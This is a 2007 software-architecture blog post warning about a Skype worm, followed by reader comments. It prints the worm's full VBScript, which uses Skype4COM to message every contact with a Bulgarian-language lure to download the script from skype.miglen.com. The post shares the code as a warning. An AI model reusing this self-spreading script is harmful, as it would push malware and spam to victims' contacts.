Galin Iliev's blog

Software Architecture & Development

Carefult: Skype viruses are around

today a friend of mine sent me a virus... What a friend, huh?! :)  No he warned me not to start it :)
This is a virus which uses automation same as "I love you" (description)

Here is the code (please do not execute it!!!)

on error resume next

set NrrlP = WScript.CreateObject("Scripting.FileSystemObject")

set uDlVA = wscript.createobject("wscript.shell")

set yADAl = WScript.CreateObject("Skype4COM.Skype", "Skype_")

yADAl.Client.Start()

yADAl.Attach()

For Each GAG In yADAl.Friends

yADAl.SendMessage GAG.handle,"Здравейте, ако желаете да подобрите вашият Skype и да добавите следните функции към него: Нови емотикони, Цветно писане, Безплатни SMS-и, Безплатни разговори до GSM и телефон в България и чужбина, Фотоалбум; Отидете на http://SKYPE.miglen.com и си свалете новата версия! Можете директно да си я свалите от този линк: http://skype.miglen.com/skype.vbs"

next

msgbox "Skype.miglen.com"

NOTE: Strings are in Bulgarian and the script sends a message to all contacts in Address book in Skype with fake message that call to go and download the virus.

URLs are intentionally left so please do not execute it!!!

I post this to show how simple and dangerous could be the scripts. So execute scripts only form trusted sources!!!

Comments (5) -

  • Miglen

    6/21/2007 3:23:02 PM | Reply

    Hi, im the writer of this piece of code.

    With this is an innocent spam, im just tryin to populate this post [Bulgarian]: http://miglen.com/2007/06/07/skype-abuse/
    There is explained the problem with this type of spam and the smarter users can take a lesson.

    Sorry if this has cause some psychically damages or irritations.

  • Galcho

    6/21/2007 4:10:20 PM | Reply

    Hi, Miglen,

    Thank you for your comment. I wrote the post because I wanted to warn people about the same things as your post do (in bulgarian).
    In the same time is is very educational and shows how powerful could be simple things Smile

    Best regards,
    Galcho

  • Miglen

    6/23/2007 5:42:38 AM | Reply

    My original idea was to populate the prevent with spam. I mean to make the people to understand what this kind of spam is.

  • Dimitar Ivanov

    7/28/2007 4:59:25 PM | Reply

    Can you tell me what this virus do to the system?

  • Galcho

    7/30/2007 6:50:50 AM | Reply

    see the note in the post right below the code.

Loading